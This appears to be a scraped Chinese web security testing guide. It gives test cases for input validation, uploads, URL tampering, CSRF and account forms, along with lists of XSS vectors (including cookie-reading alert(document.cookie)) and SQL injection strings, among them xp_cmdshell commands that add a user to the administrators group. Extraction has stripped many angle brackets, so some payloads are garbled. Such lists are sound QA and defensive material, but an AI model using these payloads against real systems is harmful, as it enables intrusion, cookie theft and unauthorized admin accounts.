WEB安全性测试测试用例基础.doc
《WEB安全性测试测试用例基础.doc》由会员分享,可在线阅读,更多相关《WEB安全性测试测试用例基础.doc(12页珍藏版)》请在淘文阁 - 分享文档赚钱的网站上搜索。
1、【精品文档】如有侵权,请联系网站删除,仅供学习与交流WEB安全性测试测试用例基础.精品文档.建立整体的威胁模型,测试溢出漏洞、信息泄漏、错误处理、SQL 注入、身份验证和授权错误.1. 输入验证客户端验证 服务器端验证(禁用脚本调试,禁用Cookies)1.输入很大的数(如4,294,967,269),输入很小的数(负数)2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应3.输入特殊字符,如:!#$%&*()_+:”|4.输入中英文空格,输入字符串中间含空格,输入首尾空格5.输入特殊字符串NULL,null,0x0d 0x0a6.输入正常字符串7.输入与要求不
2、同类型的字符,如: 要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值; 要求输入字母则检查输入数字8.输入html和javascript代码9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化例如:1.输入”gfhd,看是否出错;2.输入,看是否出现文本框;3.输入alert(“提示”)看是否出现提示。关于上传:1.上传文件是否有格式限制,是否可以上传exe文件;2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误;3.通过修改扩展名的
3、方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制;4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。7.对于文件名中带有中文字符,特殊字符等的文件上传。下载:1. 避免输入:.web.2. 修改命名后缀。关于URL:1.某些需登录后或特殊用户才能进入的页面,是否可以通过直接输入网址的方式进入;2.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母,或很大的数字,或输入特殊字符等)后打开网址是否出错
4、,是否可以非法进入某些页面;3.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或执行。4.输入善意字符。UBB:url=http:/www.*.com 你的网站/url1.试着用各种方式输入UBB代码,比如代码不完整,代码嵌套等等.2.在UBB代码中加入属性,如样式,事件等属性,看是否起作用3.输入编辑器中不存在的UBB代码,看是否起作用url=javascript:alert(hello)链接/urlemail=javascript:alert(hello)EMail/emailemail=yangtao STYLE=background-image
5、: url(javascript:alert(XSS)yangtao/emailimg style=background-image:url(javascript:alert(alert(xss)/imgimg onmouseover=alert(hello);/imgb STYLE=background-image: url(javascript:alert(XSS)一首诗酸涩涩服务网/bi STYLE=background-image: url(javascript:alert(XSS)一二三四五六七北京市/iu一二三四五六七北京市/ufont=微软雅黑 STYLE=background-
6、image: url(javascript:alert(XSS)一二三四五六七北京市/fontsize=4 STYLE=background-image: url(javascript:alert(XSS)一二三四五六七北京市/sizecolor=Red STYLE=background-image: url(javascript:alert(XSS)一二三四五六七北京市/coloralign=center STYLE=background-image: url(javascript:alert(XSS)一二三四五六七北京市/alignfloat=left STYLE=background-i
7、mage: url(javascript:alert(XSS)一二三四五六七北京市/floatfont=微软雅黑 STYLE=background-image: url(javascript:alert(XSS)一二三四五六七北京市/fontsize=4 STYLE=background-image: url(javascript:alert(XSS)一二三四五六七北京市/sizecolor=Red STYLE=background-image: url(javascript:alert(XSS)一二三四五六七北京市/coloralign=center STYLE=background-ima
8、ge: url(javascript:alert(XSS)一二三四五六七北京市/alignlist=1*一二三四五六七北京市/listindent一二三四五六七北京市/indentfloat=left STYLE=background-image: url(javascript:alert(XSS)一二三四五六七北京市/floatmedia=ra,400,300,02. 输出编码常用的测试输入语句有:input/ alert(hello);1.jpg onmouseover=alert(xss)alert(xss);http:/xxx;alert(xss);var/ a=a”xss&a=” ;
9、 b=”;alert(/xss/);/”title=”对输出数据到输出数据的对比,看是否出现问题。3. 防止SQL注入Admin-or - and ( ) exec insert * % chr mid and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2and 1=1 ; And 1=1 ; aNd 1=1 ;and 1=2 ; and 1=2and 2=2and user0and (select count(*) from sysobjects)0an
10、d (select count(*) from msysobjects)0and (Select Count(*) from Admin)=0and (select top 1 len(username) from Admin)0(username 已知字段);exec master.xp_cmdshell “net user name password /add”;exec master.xp_cmdshell “net localgroup name administrators /add”and 0(select count(*) from admin)简单的如where xtype=U
11、,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=用户,可以用where name=nchar(29992)+nchar(25143)代替。4. 跨站脚本攻击(XSS)对于 XSS,只需检查 HTML 输出并看看您输入的内容在什么地方。它在一个 HREF 标记中吗?是否在 IFRAME 标记中?它在 CLSID 标记中吗?在 IMG SRC 中吗?某些 Flash 内容的 PARAM NAME 是怎样的?!#$%&*()_+,./?;-%3Cinput /%3E%3Cscript%3Ealert(XSS)%3C
12、/script%3Einput/ alert(xss)alert(xss);alert(xss)javascript:alert(/xss/)javascript:alert(/xss/) =alert(document.cookie) 1.jpg onmouseover=alert(xss)alert(xss);http:/xxx;alert(xss);var/ a=a”xss&alert(XSS) %22%27 AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27)%22%20OS%22 %22%2Baler
13、t(%27XSS%27)%2B%22 a?alert(Vulnerable)var from = $!rundata.Parameters.getString(from);var from = ”;hackerFunction(document.cookie);”;5. 跨站请求伪造(CSRF)同个浏览器打开两个页面,一个页面权限失效后,另一个页面是否可操作成功。当页面没有CHECKCODE时,查看页面源代码,查是是否有token。如果页面完全是展示页面,是不会有token的。一、 用户注册只从用户名和密码角度写了几个要考虑的测试点,如果需求中明确规定了安全问题,Email,出生日期,地址,性
14、别等等一系列的格式和字符要求,那就都要写用例测了以等价类划分和边界值法来分析1.填写符合要求的数据注册: 用户名字和密码都为最大长度(边界值分析,取上点)2.填写符合要求的数据注册 :用户名字和密码都为最小长度(边界值分析,取上点)3.填写符合要求的数据注册:用户名字和密码都是非最大和最小长度的数据(边界值分析,取内点)4.必填项分别为空注册5.用户名长度大于要求注册1位(边界值分析,取离点)6.用户名长度小于要求注册1位(边界值分析,取离点)7.密码长度大于要求注册1位(边界值分析,取离点)8.密码长度小于要求注册1位(边界值分析,取离点)9.用户名是不符合要求的字符注册(这个可以划分几个无
15、效的等价类,一般写一两个就行了,如含有空格,#等,看需求是否允许吧)10.密码是不符合要求的字符注册(这个可以划分几个无效的等价类,一般写一两个就行了)11.两次输入密码不一致(如果注册时候要输入两次密码,那么这个是必须的)12.重新注册存在的用户13.改变存在的用户的用户名和密码的大小写,来注册。(有的需求是区分大小写,有的不区分)14.看是否支持tap和enter键等;密码是否可以复制粘贴;密码是否以* 之类的加秘符号显示备注:边界值的上点、内点和离点大家应该都知道吧,呵呵,这里我就不细说了二、 修改密码当然具体情况具体分析哈不能一概而论实际测试中可能只用到其中几条而已,比如银行卡密码的修
16、改,就不用考虑英文和非法字符,更不用考虑那些之类的快捷键。而有的需要根据需求具体分析了,比如连续出错多少次出现的提示,和一些软件修改密码要求一定时间内有一定的修改次数限制等等。1.不输入旧密码,直接改密码2.输入错误旧密码3.不输入确认新密码4.不输入新密码5.新密码和确认新密码不一致6.新密码中有空格7.新密码为空8.新密码为符合要求的最多字符9.新密码为符合要求的最少字符10.新密码为符合要求的非最多和最少字符11.新密码为最多字符-112.新密码为最少字符+113.新密码为最多字符+114.新密码为最少字符-115.新密码为非允许字符(如有的密码要求必须是英文和数字组成,那么要试汉字和符
17、号等)16.看是否支持tap和enter键等;密码是否可以复制粘贴;密码是否以* 之类的加秘符号17.看密码是否区分大小写,新密码中英文小写,确认密码中英文大写18.新密码与旧密码一样能否修改成功另外一些其他的想法如下:1 要测试所有规约中约定可以输入的特殊字符,字母,和数字,要求都可以正常输入、显示正常和添加成功2 关注规约中的各种限制,比如长度,大否支持大小写。3 考虑各种特殊情况,比如添加同名用户,系统是否正确校验给出提示信息,管理员帐户是否可以删除,因为有些系统管理员拥有最大权限,一旦删除管理员帐户,就不能在前台添加,这给最终用户会带来很多麻烦。比较特殊的是,当用户名中包括了特殊字符,
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- WEB 安全性 测试 基础
限制150内